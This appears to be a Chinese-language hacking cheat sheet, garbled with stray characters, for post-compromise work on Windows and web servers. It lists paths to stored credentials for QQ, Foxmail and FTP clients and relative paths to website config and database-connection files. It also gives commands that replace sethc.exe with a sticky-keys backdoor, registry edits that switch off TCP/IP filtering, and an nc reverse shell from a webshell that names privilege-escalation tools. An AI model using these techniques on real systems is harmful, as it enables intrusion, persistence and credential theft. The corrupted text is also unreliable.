/usr/local/tomcat5527/bin/version.sh
9 Z  Z8 j0 \3 a( b/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
: z" q5 G- _# w) v4 ~c:\Program Files\Tencent\qq\qq.exe
% D4 N, t1 H3 a- o( }c:\Program Files\Tencent\qq\bin\qq.exe
- F0 S0 n# q$ @; w' sc:\Program Files\Tencent\qq2009\qq.exe
  M% t0 W* {" a8 f) nc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
3 H6 ~* E) b: oc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
9 i8 `! u4 ], V! A* EC:\Program Files\Foxmal\accounts.cfg
' `2 N8 b6 ^9 H; U* x- X$ ~) ?C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
$ |" ^8 q( s5 p1 zC:\Program Files\LeapFTP 3.0\LeapFTP.exe
. f5 ^( c/ I  e, mC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
4 `! D' p, A7 y" Q; r7 R* FC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
6 X/ O1 P6 ?7 ~0 t+ s: g! pc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
2 Y) _. g- a1 z+ ^1 X5 kc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
2 U. q& l& s+ \% j  P- }c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
9 }5 Q5 e) \" m, }; v
: D0 f& h% x4 q3.网站相对路径:
$ b( Q9 D: Y* G& J
, ?# I5 G3 C0 o. _( ]/config.php
../../config.php
8 B; G( \0 F$ _3 y../config.php
../../../config.php
9 w+ I3 t3 y7 j' X8 `( ]# p$ K7 T$ D$ H1 J/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
1 K! o2 v9 y- F0 n1 Z../../../config.inc.php
: m1 M, x6 \, M# n2 b/conn.php
2 C, d9 g% H, I9 B; s% m% l, Y  {./conn.php
../../conn.php
: B& @# u6 @: x$ c% F../conn.php
5 A( r9 O# `' q../../../conn.php
/conn.asp
  b! _8 q; a& q5 u# f* B./conn.asp
) ?6 s4 f: l: X9 G7 P../../conn.asp
../conn.asp
4 A7 q# p$ ^( f; T; p0 M../../../conn.asp
/config.inc.php
- d; X! Z& Q1 R7 q; O./config.inc.php
../../config.inc.php
* i; u2 N9 L# E" R$ B0 R../config.inc.php
& f; y# X9 x- n0 R../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
& s% \# T, [$ ^* f) h- y: b- N9 J* y../../../config/config.php
/config/config.inc.php
./config/config.inc.php
" b5 O) u) ~* H/ C- G7 k../../config/config.inc.php
7 C$ m. N- |) d; U../config/config.inc.php
../../../config/config.inc.php
: e* m1 O3 w' a/config/conn.php
./config/conn.php
4 [* o7 T3 k4 X' g../../config/conn.php
../config/conn.php
, y8 P5 K( G/ C) _2 X../../../config/conn.php
$ `. w( U+ ?1 }4 ?, V/config/conn.asp
0 ~/ n; O- d/ e) n0 M./config/conn.asp
../../config/conn.asp
1 z- Y5 [5 m' }5 {../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
. I: Y2 }( F- C6 G4 _! e, K2 Y./config/config.inc.php
/ g& V) H6 R! k9 a../../config/config.inc.php
( {3 z; g2 D* n' o: C../config/config.inc.php
../../../config/config.inc.php
7 l1 c7 C! k; m" s& [/data/config.php
3 R5 g9 E% H# z& D( a../../data/config.php
3 m8 g0 E; r2 }, W8 v* ^( ?../data/config.php
../../../data/config.php
% Z# v( ]# n, U' p0 p  z: R3 R, Z/data/config.inc.php
) r* \, w# m7 O% x. t$ w./data/config.inc.php
3 g; k/ Q3 f( e) E6 o* i9 Q& x../../data/config.inc.php
: w! _6 i1 E+ y+ t" \9 {../data/config.inc.php
  S& C4 L: R' X9 S# E8 @6 C5 l! K../../../data/config.inc.php
; s' Q! l8 v9 Z0 m7 G/data/conn.php
./data/conn.php
../../data/conn.php
1 z9 a8 o# o" |7 w+ [" @1 Q../data/conn.php
6 ~1 J5 E( n# W7 G& j4 `../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
5 `3 ~7 l6 p! C# G! [+ n4 ]../../../data/conn.asp
# U- l% ^3 ?) ~/data/config.inc.php
  ]! i' ]( `; T% y; l6 e./data/config.inc.php
4 S" {. V; {( I! T6 c4 G" f../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
) c/ d( b4 E2 C$ R/include/config.php
( m+ X& S3 U: W../../include/config.php
+ A5 N1 ]: J6 v- ^7 [$ K../include/config.php
../../../include/config.php
. }  w6 Z% t9 O) z, V, S/include/config.inc.php
) Z+ C0 A5 A- _$ q! A7 }0 O* g5 z./include/config.inc.php
- |) ]( @9 t* E) L../../include/config.inc.php
" i+ M8 u& d. ^# j. b) T! ^../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
( n5 I/ n) ^8 k0 t) @; x  r( I% G./include/conn.php
../../include/conn.php
4 U/ V8 v2 m; A' p/ D: t; a../include/conn.php
../../../include/conn.php
& h3 I+ ?% E; F7 i( o; T$ p/include/conn.asp
: M7 q% M$ ]2 q# ]4 T./include/conn.asp
../../include/conn.asp
# @5 Q8 C5 l! k2 W8 D../include/conn.asp
../../../include/conn.asp
# h' x: p# T8 W8 f$ K/include/config.inc.php
  f7 n" x: ?3 I6 O) ^) L./include/config.inc.php
../../include/config.inc.php
+ ]4 d0 O- d, b6 ]- A2 \' _../include/config.inc.php
. k$ p8 L, A, g5 C: I: c5 b# H../../../include/config.inc.php
/inc/config.php
+ u7 T9 W4 O7 B- S7 _, L; S../../inc/config.php
# ^: p0 Z+ I, j) |0 A( ?% K+ j../inc/config.php
../../../inc/config.php
+ V/ Z% ?% v  ?7 C1 J( G/inc/config.inc.php
  C' y5 A$ f! j& |3 W./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
: Z/ i+ J6 z. l. H! }! X./inc/conn.php
4 H9 |8 K7 z. i% e  t  e( a  Q0 D../../inc/conn.php
8 Z* M* F' Z. `, q" V' w+ _5 d) G../inc/conn.php
/ l7 Q6 i8 M/ X../../../inc/conn.php
+ u& f: J8 |) l8 |# H/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
1 e: l9 }( v/ T../inc/conn.asp
: s9 F' w6 i# V" [" a8 P+ _../../../inc/conn.asp
! E- r3 m6 ~! D8 [$ W/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
* T- j4 W9 ?9 ^../inc/config.inc.php
; x5 b, Q' X) T% E; q../../../inc/config.inc.php
8 _+ d6 R. e/ `3 R+ \/index.php
) n6 D  _9 ~4 r8 d% R./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
0 v5 v3 f7 u8 ]$ J! q- u../../index.asp
6 t0 b# }; H: w1 o+ o' ~8 y../index.asp
../../../index.asp
* a# n! w7 S8 B4 n- A3 A替换SHIFT后门
& U' m' _; _  K& @: a　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- @( I) ^; ?; L0 J
　　del c:\windows\system32\sethc.exe
! \( S* P. G: ^8 U' z
& m* N2 g7 C. }& J$ p+ j% I  C　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

2 [, o% \7 j& Z8 k% E) x　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
  s7 Q' b  F3 f, a. X1 o
, h4 I! H6 H9 h1 D) z2 F! U" ?　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
! y! c/ a1 P; o6 x  A5 g' `; |6 GHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
8 G; p/ A# @, O3 E( p0 BHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

$ R+ N2 N' W; Y. s分别用
& }: |7 p& v& }regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% W3 k5 n7 q4 {5 ]. R. v) w3 Iregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 u6 A+ f7 D# J5 c' Zregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

+ A! n& l9 W0 ]然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
3 A0 A% w3 h% p7 F: O
9 T1 e, I1 p; J9 G  B5 d( o再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

/ W. d$ {  `3 D* j" S) Dwebshell提权小技巧
cmd路径:
# p- n1 ~/ h- v! b5 Tc:\windows\temp\cmd.exe
8 |3 z2 D3 ^; ]nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
# S6 U; _5 s3 q8 x( }. c4 f3 q通常都不会成功。

& j! }; b7 q# j& e! H3 ]而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
  Y% G4 h9 h' g8 V却能成功。。
这个不是重点
9 F9 ]3 u; ^+ f) {8 N/ a我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功